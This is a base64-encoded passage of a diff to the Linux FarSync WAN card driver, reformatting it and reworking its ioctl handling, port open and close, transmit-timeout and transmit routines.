SUZBQ0VfU1lOQ19TRVJJQUw6Ci0gICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9WMzU6Ci0g ICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9WMjQ6Ci0gICAgICAgICAgICAgICAgY2FzZSBJ Rl9JRkFDRV9YMjE6Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZnN0X3NldF9pZmFj ZSAoIGNhcmQsIHBvcnQsIGlmciApOwotCi0gICAgICAgICAgICAgICAgZGVmYXVsdDoKLSAgICAg ICAgICAgICAgICAgICAgICAgIHJldHVybiBoZGxjX2lvY3RsICggZGV2LCBpZnIsIGNtZCApOwot ICAgICAgICAgICAgICAgIH0KLQotICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAgIC8q IE5vdCBvbmUgb2Ygb3Vycy4gUGFzcyB0aHJvdWdoIHRvIEhETEMgcGFja2FnZSAqLwotICAgICAg ICAgICAgICAgIHJldHVybiBoZGxjX2lvY3RsICggZGV2LCBpZnIsIGNtZCApOwotICAgICAgICB9 Ci19Ci0KLQotc3RhdGljIHZvaWQKLWZzdF9vcGVucG9ydCAoIHN0cnVjdCBmc3RfcG9ydF9pbmZv ICpwb3J0ICkKLXsKLSAgICAgICAgaW50IHNpZ25hbHM7Ci0KLSAgICAgICAgLyogT25seSBpbml0 IHRoaW5ncyBpZiBjYXJkIGlzIGFjdHVhbGx5IHJ1bm5pbmcuIFRoaXMgYWxsb3dzIG9wZW4gdG8K LSAgICAgICAgICogc3VjY2VlZCBmb3IgZG93bmxvYWRzIGV0Yy4KLSAgICAgICAgICovCi0gICAg ICAgIGlmICggcG9ydC0+Y2FyZC0+c3RhdGUgPT0gRlNUX1JVTk5JTkcgKQotICAgICAgICB7Ci0g ICAgICAgICAgICAgICAgaWYgKCBwb3J0LT5ydW4gKQotICAgICAgICAgICAgICAgIHsKLSAgICAg ICAgICAgICAgICAgICAgICAgIGRiZyAoIERCR19PUEVOLCJvcGVuOiBmb3VuZCBwb3J0IGFscmVh ZHkgcnVubmluZ1xuIik7Ci0KLSAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9pc3N1ZV9jbWQg KCBwb3J0LCBTVE9QUE9SVCApOwotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+cnVuID0g MDsKLSAgICAgICAgICAgICAgICB9Ci0KLSAgICAgICAgICAgICAgICBmc3RfcnhfY29uZmlnICgg cG9ydCApOwotICAgICAgICAgICAgICAgIGZzdF90eF9jb25maWcgKCBwb3J0ICk7Ci0gICAgICAg ICAgICAgICAgZnN0X29wX3JhaXNlICggcG9ydCwgT1BTVFNfUlRTIHwgT1BTVFNfRFRSICk7Ci0K LSAgICAgICAgICAgICAgICBmc3RfaXNzdWVfY21kICggcG9ydCwgU1RBUlRQT1JUICk7Ci0gICAg ICAgICAgICAgICAgcG9ydC0+cnVuID0gMTsKLQotICAgICAgICAgICAgICAgIHNpZ25hbHMgPSBG U1RfUkRMICggcG9ydC0+Y2FyZCwgdjI0RGVib3VuY2VkU3RzW3BvcnQtPmluZGV4XSk7Ci0gICAg ICAgICAgICAgICAgaWYgKCBzaWduYWxzICYgKCggcG9ydC0+aHdpZiA9PSBYMjEgKSA/IElQU1RT X0lORElDQVRFCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA6IElQU1RTX0RDRCApKQotICAgICAgICAgICAgICAgICAgICAgICAgbmV0aWZfY2Fy cmllcl9vbiAoIHBvcnRfdG9fZGV2ICggcG9ydCApKTsKLSAgICAgICAgICAgICAgICBlbHNlCi0g ICAgICAgICAgICAgICAgICAgICAgICBuZXRpZl9jYXJyaWVyX29mZiAoIHBvcnRfdG9fZGV2ICgg cG9ydCApKTsKLSAgICAgICAgfQotfQotCi1zdGF0aWMgdm9pZAotZnN0X2Nsb3NlcG9ydCAoIHN0 cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0ICkKLXsKLSAgICAgICAgaWYgKCBwb3J0LT5jYXJkLT5z dGF0ZSA9PSBGU1RfUlVOTklORyApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBpZiAoIHBv cnQtPnJ1biApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgcG9y dC0+cnVuID0gMDsKLSAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9vcF9sb3dlciAoIHBvcnQs IE9QU1RTX1JUUyB8IE9QU1RTX0RUUiApOwotCi0gICAgICAgICAgICAgICAgICAgICAgICBmc3Rf aXNzdWVfY21kICggcG9ydCwgU1RPUFBPUlQgKTsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAg ICAgICAgICAgZWxzZQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAg IGRiZyAoIERCR19PUEVOLCJjbG9zZTogcG9ydCBub3QgcnVubmluZ1xuIik7Ci0gICAgICAgICAg ICAgICAgfQotICAgICAgICB9CisJc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7CisJc3RydWN0 IGZzdF9wb3J0X2luZm8gKnBvcnQ7CisJc3RydWN0IGZzdGlvY193cml0ZSB3cnRoZHI7CisJc3Ry dWN0IGZzdGlvY19pbmZvIGluZm87CisJdW5zaWduZWQgbG9uZyBmbGFnczsKKworCWRiZyhEQkdf SU9DVEwsICJpb2N0bDogJXgsICVwXG4iLCBjbWQsIGlmci0+aWZyX2RhdGEpOworCisJcG9ydCA9 IGRldl90b19wb3J0KGRldik7CisJY2FyZCA9IHBvcnQtPmNhcmQ7CisKKwlpZiAoIWNhcGFibGUo Q0FQX05FVF9BRE1JTikpCisJCXJldHVybiAtRVBFUk07CisKKwlzd2l0Y2ggKGNtZCkgeworCWNh c2UgRlNUQ1BVUkVTRVQ6CisJCWZzdF9jcHVyZXNldChjYXJkKTsKKwkJY2FyZC0+c3RhdGUgPSBG U1RfUkVTRVQ7CisJCXJldHVybiAwOworCisJY2FzZSBGU1RDUFVSRUxFQVNFOgorCQlmc3RfY3B1 cmVsZWFzZShjYXJkKTsKKwkJY2FyZC0+c3RhdGUgPSBGU1RfU1RBUlRJTkc7CisJCXJldHVybiAw OworCisJY2FzZSBGU1RXUklURToJCS8qIENvZGUgd3JpdGUgKGRvd25sb2FkKSAqLworCisJCS8q IEZpcnN0IGNvcHkgaW4gdGhlIGhlYWRlciB3aXRoIHRoZSBsZW5ndGggYW5kIG9mZnNldCBvZiBk YXRhCisJCSAqIHRvIHdyaXRlCisJCSAqLworCQlpZiAoaWZyLT5pZnJfZGF0YSA9PSBOVUxMKSB7 CisJCQlyZXR1cm4gLUVJTlZBTDsKKwkJfQorCQlpZiAoY29weV9mcm9tX3VzZXIoJndydGhkciwg aWZyLT5pZnJfZGF0YSwKKwkJCQkgICBzaXplb2YgKHN0cnVjdCBmc3Rpb2Nfd3JpdGUpKSkgewor CQkJcmV0dXJuIC1FRkFVTFQ7CisJCX0KKworCQkvKiBTYW5pdHkgY2hlY2sgdGhlIHBhcmFtZXRl cnMuIFdlIGRvbid0IHN1cHBvcnQgcGFydGlhbCB3cml0ZXMKKwkJICogd2hlbiBnb2luZyBvdmVy IHRoZSB0b3AKKwkJICovCisJCWlmICh3cnRoZHIuc2l6ZSA+IEZTVF9NRU1TSVpFIHx8IHdydGhk ci5vZmZzZXQgPiBGU1RfTUVNU0laRQorCQkgICAgfHwgd3J0aGRyLnNpemUgKyB3cnRoZHIub2Zm c2V0ID4gRlNUX01FTVNJWkUpIHsKKwkJCXJldHVybiAtRU5YSU87CisJCX0KKworCQkvKiBOb3cg Y29weSB0aGUgZGF0YSB0byB0aGUgY2FyZC4KKwkJICogVGhpcyB3aWxsIHByb2JhYmx5IGJyZWFr IG9uIHNvbWUgYXJjaGl0ZWN0dXJlcy4KKwkJICogSSdsbCBmaXggaXQgd2hlbiBJIGhhdmUgc29t ZXRoaW5nIHRvIHRlc3Qgb24uCisJCSAqLworCQlpZiAoY29weV9mcm9tX3VzZXIoY2FyZC0+bWVt ICsgd3J0aGRyLm9mZnNldCwKKwkJCQkgICBpZnItPmlmcl9kYXRhICsgc2l6ZW9mIChzdHJ1Y3Qg ZnN0aW9jX3dyaXRlKSwKKwkJCQkgICB3cnRoZHIuc2l6ZSkpIHsKKwkJCXJldHVybiAtRUZBVUxU OworCQl9CisKKwkJLyogV3JpdGVzIHRvIHRoZSBtZW1vcnkgb2YgYSBjYXJkIGluIHRoZSByZXNl dCBzdGF0ZSBjb25zdGl0dXRlCisJCSAqIGEgZG93bmxvYWQKKwkJICovCisJCWlmIChjYXJkLT5z dGF0ZSA9PSBGU1RfUkVTRVQpIHsKKwkJCWNhcmQtPnN0YXRlID0gRlNUX0RPV05MT0FEOworCQl9 CisJCXJldHVybiAwOworCisJY2FzZSBGU1RHRVRDT05GOgorCisJCS8qIElmIGNhcmQgaGFzIGp1 c3QgYmVlbiBzdGFydGVkIGNoZWNrIHRoZSBzaGFyZWQgbWVtb3J5IGNvbmZpZworCQkgKiB2ZXJz aW9uIGFuZCBtYXJrZXIKKwkJICovCisJCWlmIChjYXJkLT5zdGF0ZSA9PSBGU1RfU1RBUlRJTkcp IHsKKwkJCWNoZWNrX3N0YXJ0ZWRfb2soY2FyZCk7CisKKwkJCS8qIElmIGV2ZXJ5dGhpbmcgY2hl Y2tlZCBvdXQgZW5hYmxlIGNhcmQgaW50ZXJydXB0cyAqLworCQkJaWYgKGNhcmQtPnN0YXRlID09 IEZTVF9SVU5OSU5HKSB7CisJCQkJc3Bpbl9sb2NrX2lycXNhdmUoJmNhcmQtPmNhcmRfbG9jaywg ZmxhZ3MpOworCQkJCWZzdF9lbmFibGVfaW50cihjYXJkKTsKKwkJCQlGU1RfV1JCKGNhcmQsIGlu dGVycnVwdEhhbmRzaGFrZSwgMHhFRSk7CisJCQkJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2Fy ZC0+Y2FyZF9sb2NrLCBmbGFncyk7CisJCQl9CisJCX0KKworCQlpZiAoaWZyLT5pZnJfZGF0YSA9 PSBOVUxMKSB7CisJCQlyZXR1cm4gLUVJTlZBTDsKKwkJfQorCisJCWdhdGhlcl9jb25mX2luZm8o Y2FyZCwgcG9ydCwgJmluZm8pOworCisJCWlmIChjb3B5X3RvX3VzZXIoaWZyLT5pZnJfZGF0YSwg JmluZm8sIHNpemVvZiAoaW5mbykpKSB7CisJCQlyZXR1cm4gLUVGQVVMVDsKKwkJfQorCQlyZXR1 cm4gMDsKKworCWNhc2UgRlNUU0VUQ09ORjoKKworCQkvKgorCQkgKiBNb3N0IG9mIHRoZSBzZXR0 aW5ncyBoYXZlIGJlZW4gbW92ZWQgdG8gdGhlIGdlbmVyaWMgaW9jdGxzCisJCSAqIHRoaXMganVz dCBjb3ZlcnMgZGVidWcgYW5kIGJvYXJkIGlkZW50IG5vdworCQkgKi8KKworCQlpZiAoY2FyZC0+ c3RhdGUgIT0gRlNUX1JVTk5JTkcpIHsKKwkJCXByaW50a19lcnIKKwkJCSAgICAoIkF0dGVtcHQg dG8gY29uZmlndXJlIGNhcmQgJWQgaW4gbm9uLXJ1bm5pbmcgc3RhdGUgKCVkKVxuIiwKKwkJCSAg ICAgY2FyZC0+Y2FyZF9ubywgY2FyZC0+c3RhdGUpOworCQkJcmV0dXJuIC1FSU87CisJCX0KKwkJ aWYgKGNvcHlfZnJvbV91c2VyKCZpbmZvLCBpZnItPmlmcl9kYXRhLCBzaXplb2YgKGluZm8pKSkg eworCQkJcmV0dXJuIC1FRkFVTFQ7CisJCX0KKworCQlyZXR1cm4gc2V0X2NvbmZfZnJvbV9pbmZv KGNhcmQsIHBvcnQsICZpbmZvKTsKKworCWNhc2UgU0lPQ1dBTkRFVjoKKwkJc3dpdGNoIChpZnIt Pmlmcl9zZXR0aW5ncy50eXBlKSB7CisJCWNhc2UgSUZfR0VUX0lGQUNFOgorCQkJcmV0dXJuIGZz dF9nZXRfaWZhY2UoY2FyZCwgcG9ydCwgaWZyKTsKKworCQljYXNlIElGX0lGQUNFX1NZTkNfU0VS SUFMOgorCQljYXNlIElGX0lGQUNFX1YzNToKKwkJY2FzZSBJRl9JRkFDRV9WMjQ6CisJCWNhc2Ug SUZfSUZBQ0VfWDIxOgorCQljYXNlIElGX0lGQUNFX1gyMUQ6CisJCWNhc2UgSUZfSUZBQ0VfVDE6 CisJCWNhc2UgSUZfSUZBQ0VfRTE6CisJCQlyZXR1cm4gZnN0X3NldF9pZmFjZShjYXJkLCBwb3J0 LCBpZnIpOworCisJCWNhc2UgSUZfUFJPVE9fUkFXOgorCQkJcG9ydC0+bW9kZSA9IEZTVF9SQVc7 CisJCQlyZXR1cm4gMDsKKworCQljYXNlIElGX0dFVF9QUk9UTzoKKwkJCWlmIChwb3J0LT5tb2Rl ID09IEZTVF9SQVcpIHsKKwkJCQlpZnItPmlmcl9zZXR0aW5ncy50eXBlID0gSUZfUFJPVE9fUkFX OworCQkJCXJldHVybiAwOworCQkJfQorCQkJcmV0dXJuIGhkbGNfaW9jdGwoZGV2LCBpZnIsIGNt ZCk7CisKKwkJZGVmYXVsdDoKKwkJCXBvcnQtPm1vZGUgPSBGU1RfR0VOX0hETEM7CisJCQlkYmco REJHX0lPQ1RMLCAiUGFzc2luZyB0aGlzIHR5cGUgdG8gaGRsYyAleFxuIiwKKwkJCSAgICBpZnIt Pmlmcl9zZXR0aW5ncy50eXBlKTsKKwkJCXJldHVybiBoZGxjX2lvY3RsKGRldiwgaWZyLCBjbWQp OworCQl9CisKKwlkZWZhdWx0OgorCQkvKiBOb3Qgb25lIG9mIG91cnMuIFBhc3MgdGhyb3VnaCB0 byBIRExDIHBhY2thZ2UgKi8KKwkJcmV0dXJuIGhkbGNfaW9jdGwoZGV2LCBpZnIsIGNtZCk7CisJ fQogfQogCi0KLXN0YXRpYyBpbnQKLWZzdF9vcGVuICggc3RydWN0IG5ldF9kZXZpY2UgKmRldiAp CitzdGF0aWMgdm9pZAorZnN0X29wZW5wb3J0KHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0KQog ewotICAgICAgICBpbnQgZXJyOworCWludCBzaWduYWxzOworCWludCB0eHFfbGVuZ3RoOwogCi0g ICAgICAgIGVyciA9IGhkbGNfb3BlbiAoIGRldl90b19oZGxjICggZGV2ICkpOwotICAgICAgICBp ZiAoIGVyciApCi0gICAgICAgICAgICAgICAgcmV0dXJuIGVycjsKKwkvKiBPbmx5IGluaXQgdGhp bmdzIGlmIGNhcmQgaXMgYWN0dWFsbHkgcnVubmluZy4gVGhpcyBhbGxvd3Mgb3BlbiB0bworCSAq IHN1Y2NlZWQgZm9yIGRvd25sb2FkcyBldGMuCisJICovCisJaWYgKHBvcnQtPmNhcmQtPnN0YXRl ID09IEZTVF9SVU5OSU5HKSB7CisJCWlmIChwb3J0LT5ydW4pIHsKKwkJCWRiZyhEQkdfT1BFTiwg Im9wZW46IGZvdW5kIHBvcnQgYWxyZWFkeSBydW5uaW5nXG4iKTsKKworCQkJZnN0X2lzc3VlX2Nt ZChwb3J0LCBTVE9QUE9SVCk7CisJCQlwb3J0LT5ydW4gPSAwOworCQl9CisKKwkJZnN0X3J4X2Nv bmZpZyhwb3J0KTsKKwkJZnN0X3R4X2NvbmZpZyhwb3J0KTsKKwkJZnN0X29wX3JhaXNlKHBvcnQs IE9QU1RTX1JUUyB8IE9QU1RTX0RUUik7CisKKwkJZnN0X2lzc3VlX2NtZChwb3J0LCBTVEFSVFBP UlQpOworCQlwb3J0LT5ydW4gPSAxOworCisJCXNpZ25hbHMgPSBGU1RfUkRMKHBvcnQtPmNhcmQs IHYyNERlYm91bmNlZFN0c1twb3J0LT5pbmRleF0pOworCQlpZiAoc2lnbmFscyAmICgoKHBvcnQt Pmh3aWYgPT0gWDIxKSB8fCAocG9ydC0+aHdpZiA9PSBYMjFEKSkKKwkJCSAgICAgICA/IElQU1RT X0lORElDQVRFIDogSVBTVFNfRENEKSkKKwkJCW5ldGlmX2NhcnJpZXJfb24ocG9ydF90b19kZXYo cG9ydCkpOworCQllbHNlCisJCQluZXRpZl9jYXJyaWVyX29mZihwb3J0X3RvX2Rldihwb3J0KSk7 CisKKwkJdHhxX2xlbmd0aCA9IHBvcnQtPnR4cWUgLSBwb3J0LT50eHFzOworCQlwb3J0LT50eHFl ID0gMDsKKwkJcG9ydC0+dHhxcyA9IDA7CisJfQogCi0gICAgICAgIE1PRF9JTkNfVVNFX0NPVU5U OworfQogCi0gICAgICAgIGZzdF9vcGVucG9ydCAoIGRldl90b19wb3J0ICggZGV2ICkpOwotICAg ICAgICBuZXRpZl93YWtlX3F1ZXVlICggZGV2ICk7Ci0gICAgICAgIHJldHVybiAwOworc3RhdGlj IHZvaWQKK2ZzdF9jbG9zZXBvcnQoc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQpCit7CisJaWYg KHBvcnQtPmNhcmQtPnN0YXRlID09IEZTVF9SVU5OSU5HKSB7CisJCWlmIChwb3J0LT5ydW4pIHsK KwkJCXBvcnQtPnJ1biA9IDA7CisJCQlmc3Rfb3BfbG93ZXIocG9ydCwgT1BTVFNfUlRTIHwgT1BT VFNfRFRSKTsKKworCQkJZnN0X2lzc3VlX2NtZChwb3J0LCBTVE9QUE9SVCk7CisJCX0gZWxzZSB7 CisJCQlkYmcoREJHX09QRU4sICJjbG9zZTogcG9ydCBub3QgcnVubmluZ1xuIik7CisJCX0KKwl9 CiB9CiAKIHN0YXRpYyBpbnQKLWZzdF9jbG9zZSAoIHN0cnVjdCBuZXRfZGV2aWNlICpkZXYgKQor ZnN0X29wZW4oc3RydWN0IG5ldF9kZXZpY2UgKmRldikKIHsKLSAgICAgICAgbmV0aWZfc3RvcF9x dWV1ZSAoIGRldiApOwotICAgICAgICBmc3RfY2xvc2Vwb3J0ICggZGV2X3RvX3BvcnQgKCBkZXYg KSk7Ci0gICAgICAgIGhkbGNfY2xvc2UgKCBkZXZfdG9faGRsYyAgKCBkZXYgKSk7Ci0gICAgICAg IE1PRF9ERUNfVVNFX0NPVU5UOwotICAgICAgICByZXR1cm4gMDsKKwlpbnQgZXJyOworCXN0cnVj dCBmc3RfcG9ydF9pbmZvICpwb3J0OworCisJcG9ydCA9IGRldl90b19wb3J0KGRldik7CisJTU9E X0lOQ19VU0VfQ09VTlQ7CisJaWYgKHBvcnQtPm1vZGUgIT0gRlNUX1JBVykgeworCQllcnIgPSBo ZGxjX29wZW4oZGV2X3RvX2hkbGMoZGV2KSk7CisJCWlmIChlcnIpCisJCQlyZXR1cm4gZXJyOwor CX0KKworCWZzdF9vcGVucG9ydChwb3J0KTsKKwluZXRpZl93YWtlX3F1ZXVlKGRldik7CisJcmV0 dXJuIDA7CiB9CiAKIHN0YXRpYyBpbnQKLWZzdF9hdHRhY2ggKCBoZGxjX2RldmljZSAqaGRsYywg dW5zaWduZWQgc2hvcnQgZW5jb2RpbmcsIHVuc2lnbmVkIHNob3J0IHBhcml0eSApCitmc3RfY2xv c2Uoc3RydWN0IG5ldF9kZXZpY2UgKmRldikKIHsKLSAgICAgICAgLyogU2V0dGluZyBjdXJyZW50 bHkgZml4ZWQgaW4gRmFyU3luYyBjYXJkIHNvIHdlIGNoZWNrIGFuZCBmb3JnZXQgKi8KLSAgICAg ICAgaWYgKCBlbmNvZGluZyAhPSBFTkNPRElOR19OUlogfHwgcGFyaXR5ICE9IFBBUklUWV9DUkMx Nl9QUjFfQ0NJVFQgKQotICAgICAgICAgICAgICAgIHJldHVybiAtRUlOVkFMOwotICAgICAgICBy ZXR1cm4gMDsKKwlzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydDsKKwlzdHJ1Y3QgZnN0X2NhcmRf aW5mbyAqY2FyZDsKKwl1bnNpZ25lZCBjaGFyIHR4X2RtYV9kb25lOworCXVuc2lnbmVkIGNoYXIg cnhfZG1hX2RvbmU7CisKKwlwb3J0ID0gZGV2X3RvX3BvcnQoZGV2KTsKKwljYXJkID0gcG9ydC0+ Y2FyZDsKKworCXR4X2RtYV9kb25lID0gaW5iKGNhcmQtPnBjaV9jb25mICsgRE1BQ1NSMSk7CisJ cnhfZG1hX2RvbmUgPSBpbmIoY2FyZC0+cGNpX2NvbmYgKyBETUFDU1IwKTsKKwlkYmcoREJHX09Q RU4sCisJICAgICJQb3J0IENsb3NlOiB0eF9kbWFfaW5fcHJvZ3Jlc3MgPSAlZCAoJXgpIHJ4X2Rt YV9pbl9wcm9ncmVzcyA9ICVkICgleClcbiIsCisJICAgIGNhcmQtPmRtYXR4X2luX3Byb2dyZXNz LCB0eF9kbWFfZG9uZSwgY2FyZC0+ZG1hcnhfaW5fcHJvZ3Jlc3MsCisJICAgIHJ4X2RtYV9kb25l KTsKKworCW5ldGlmX3N0b3BfcXVldWUoZGV2KTsKKwlmc3RfY2xvc2Vwb3J0KGRldl90b19wb3J0 KGRldikpOworCWlmIChwb3J0LT5tb2RlICE9IEZTVF9SQVcpIHsKKwkJaGRsY19jbG9zZShkZXZf dG9faGRsYyhkZXYpKTsKKwl9CisJTU9EX0RFQ19VU0VfQ09VTlQ7CisJcmV0dXJuIDA7CiB9CiAK K3N0YXRpYyBpbnQKK2ZzdF9hdHRhY2goaGRsY19kZXZpY2UgKiBoZGxjLCB1bnNpZ25lZCBzaG9y dCBlbmNvZGluZywgdW5zaWduZWQgc2hvcnQgcGFyaXR5KQoreworCS8qCisJICogU2V0dGluZyBj dXJyZW50bHkgZml4ZWQgaW4gRmFyU3luYyBjYXJkIHNvIHdlIGNoZWNrIGFuZCBmb3JnZXQKKwkg Ki8KKwlpZiAoZW5jb2RpbmcgIT0gRU5DT0RJTkdfTlJaIHx8IHBhcml0eSAhPSBQQVJJVFlfQ1JD MTZfUFIxX0NDSVRUKQorCQlyZXR1cm4gLUVJTlZBTDsKKwlyZXR1cm4gMDsKK30KIAogc3RhdGlj IHZvaWQKLWZzdF90eF90aW1lb3V0ICggc3RydWN0IG5ldF9kZXZpY2UgKmRldiApCitmc3RfdHhf dGltZW91dChzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQogewotICAgICAgICBzdHJ1Y3QgZnN0X3Bv cnRfaW5mbyAqcG9ydDsKKwlzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydDsKKwlzdHJ1Y3QgZnN0 X2NhcmRfaW5mbyAqY2FyZDsKIAotICAgICAgICBkYmcgKCBEQkdfSU5UUiB8IERCR19UWCwidHhf dGltZW91dFxuIik7CisJcG9ydCA9IGRldl90b19wb3J0KGRldik7CisJY2FyZCA9IHBvcnQtPmNh cmQ7CiAKLSAgICAgICAgcG9ydCA9IGRldl90b19wb3J0ICggZGV2ICk7Ci0KLSAgICAgICAgcG9y dC0+aGRsYy5zdGF0cy50eF9lcnJvcnMrKzsKLSAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy50eF9h Ym9ydGVkX2Vycm9ycysrOwotCi0gICAgICAgIGlmICggcG9ydC0+dHhjbnQgPiAwICkKLSAgICAg ICAgICAgICAgICBmc3RfaXNzdWVfY21kICggcG9ydCwgQUJPUlRUWCApOwotCi0gICAgICAgIGRl di0+dHJhbnNfc3RhcnQgPSBqaWZmaWVzOwotICAgICAgICBuZXRpZl93YWtlX3F1ZXVlICggZGV2 ICk7CisJcG9ydC0+aGRsYy5zdGF0cy50eF9lcnJvcnMrKzsKKwlwb3J0LT5oZGxjLnN0YXRzLnR4 X2Fib3J0ZWRfZXJyb3JzKys7CisJZGJnKERCR19BU1MsICJUeCB0aW1lb3V0IGNhcmQgJWQgcG9y dCAlZFxuIiwKKwkgICAgY2FyZC0+Y2FyZF9ubywgcG9ydC0+aW5kZXgpOworCWZzdF9pc3N1ZV9j bWQocG9ydCwgQUJPUlRUWCk7CisKKwlkZXYtPnRyYW5zX3N0YXJ0ID0gamlmZmllczsKKwluZXRp Zl93YWtlX3F1ZXVlKGRldik7CisJcG9ydC0+c3RhcnQgPSAwOwogfQogCi0KIHN0YXRpYyBpbnQK LWZzdF9zdGFydF94bWl0ICggc3RydWN0IHNrX2J1ZmYgKnNrYiwgc3RydWN0IG5ldF9kZXZpY2Ug KmRldiApCitmc3Rfc3RhcnRfeG1pdChzdHJ1Y3Qgc2tfYnVmZiAqc2tiLCBzdHJ1Y3QgbmV0X2Rl dmljZSAqZGV2KQogewotICAgICAgICBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsKLSAgICAg ICAgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7Ci0gICAgICAgIHVuc2lnbmVkIGNoYXIgZG1h Yml0czsKLSAgICAgICAgdW5zaWduZWQgbG9uZyBmbGFnczsKLSAgICAgICAgaW50IHBpOwotICAg ICAgICBpbnQgdHhwOwotCi0gICAgICAgIHBvcnQgPSBkZXZfdG9fcG9ydCAoIGRldiApOwotICAg ICAgICBjYXJkID0gcG9ydC0+Y2FyZDsKLQotICAgICAgICAvKiBEcm9wIHBhY2tldCB3aXRoIGVy cm9yIGlmIHdlIGRvbid0IGhhdmUgY2FycmllciAqLwotICAgICAgICBpZiAoICEgbmV0aWZfY2Fy cmllcl9vayAoIGRldiApKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgZGV2X2tmcmVlX3Nr YiAoIHNrYiApOwotICAgICAgICAgICAgICAgIHBvcnQtPmhkbGMuc3RhdHMudHhfZXJyb3JzKys7 Ci0gICAgICAgICAgICAgICAgcG9ydC0+aGRsYy5zdGF0cy50eF9jYXJyaWVyX2Vycm9ycysrOwot ICAgICAgICAgICAgICAgIHJldHVybiAwOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogRHJvcCBp dCBpZiBpdCdzIHRvbyBiaWchIE1UVSBmYWlsdXJlID8gKi8KLSAgICAgICAgaWYgKCBza2ItPmxl biA+IExFTl9UWF9CVUZGRVIgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgZGJnICggREJH X1RYLCJQYWNrZXQgdG9vIGxhcmdlICVkIHZzICVkXG4iLCBza2ItPmxlbiwKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExFTl9UWF9CVUZGRVIgKTsKLSAg ICAgICAgICAgICAgICBkZXZfa2ZyZWVfc2tiICggc2tiICk7Ci0gICAgICAgICAgICAgICAgcG9y dC0+aGRsYy5zdGF0cy50eF9lcnJvcnMrKzsKLSAgICAgICAgICAgICAgICByZXR1cm4gMDsKLSAg ICAgICAgfQotCi0gICAgICAgIC8qIENoZWNrIHdlIGhhdmUgYSBidWZmZXIgKi8KLSAgICAgICAg cGkgPSBwb3J0LT5pbmRleDsKLSAgICAgICAgc3Bpbl9sb2NrX2lycXNhdmUgKCAmY2FyZC0+Y2Fy ZF9sb2NrLCBmbGFncyApOwotICAgICAgICB0eHAgPSBwb3J0LT50eHBvczsKLSAgICAgICAgZG1h Yml0cyA9IEZTVF9SREIgKCBjYXJkLCB0eERlc2NyUmluZ1twaV1bdHhwXS5iaXRzICk7Ci0gICAg ICAgIGlmICggZG1hYml0cyAmIERNQV9PV04gKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAg c3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzICk7Ci0gICAg ICAgICAgICAgICAgZGJnICggREJHX1RYLCJPdXQgb2YgVHggYnVmZmVyc1xuIik7Ci0gICAgICAg ICAgICAgICAgZGV2X2tmcmVlX3NrYiAoIHNrYiApOwotICAgICAgICAgICAgICAgIHBvcnQtPmhk bGMuc3RhdHMudHhfZXJyb3JzKys7Ci0gICAgICAgICAgICAgICAgcmV0dXJuIDA7Ci0gICAgICAg IH0KLSAgICAgICAgaWYgKCArK3BvcnQtPnR4cG9zID49IE5VTV9UWF9CVUZGRVIgKQotICAgICAg ICAgICAgICAgIHBvcnQtPnR4cG9zID0gMDsKLQotICAgICAgICBpZiAoICsrcG9ydC0+dHhjbnQg Pj0gTlVNX1RYX0JVRkZFUiApCi0gICAgICAgICAgICAgICAgbmV0aWZfc3RvcF9xdWV1ZSAoIGRl diApOwotCi0gICAgICAgIC8qIFJlbGVhc2UgdGhlIGNhcmQgbG9jayBiZWZvcmUgd2UgY29weSB0 aGUgZGF0YSBhcyB3ZSBub3cgaGF2ZQotICAgICAgICAgKiBleGNsdXNpdmUgYWNjZXNzIHRvIHRo ZSBidWZmZXIuCi0gICAgICAgICAqLwotICAgICAgICBzcGluX3VubG9ja19pcnFyZXN0b3JlICgg JmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MgKTsKLQotICAgICAgICAvKiBFbnF1ZXVlIHRoZSBwYWNr ZXQgKi8KLSAgICAgICAgbWVtY3B5X3RvaW8gKCBjYXJkLT5tZW0gKyBCVUZfT0ZGU0VUICggdHhC dWZmZXJbcGldW3R4cF1bMF0pLAotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgc2tiLT5kYXRhLCBza2ItPmxlbiApOwotICAgICAgICBGU1RfV1JXICggY2Fy ZCwgdHhEZXNjclJpbmdbcGldW3R4cF0uYmNudCwgY252X2JjbnQgKCBza2ItPmxlbiApKTsKLSAg ICAgICAgRlNUX1dSQiAoIGNhcmQsIHR4RGVzY3JSaW5nW3BpXVt0eHBdLmJpdHMsIERNQV9PV04g fCBUWF9TVFAgfCBUWF9FTlAgKTsKKwlzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsKKwlzdHJ1 Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydDsKKwl1bnNpZ25lZCBsb25nIGZsYWdzOworCWludCB0eHFf 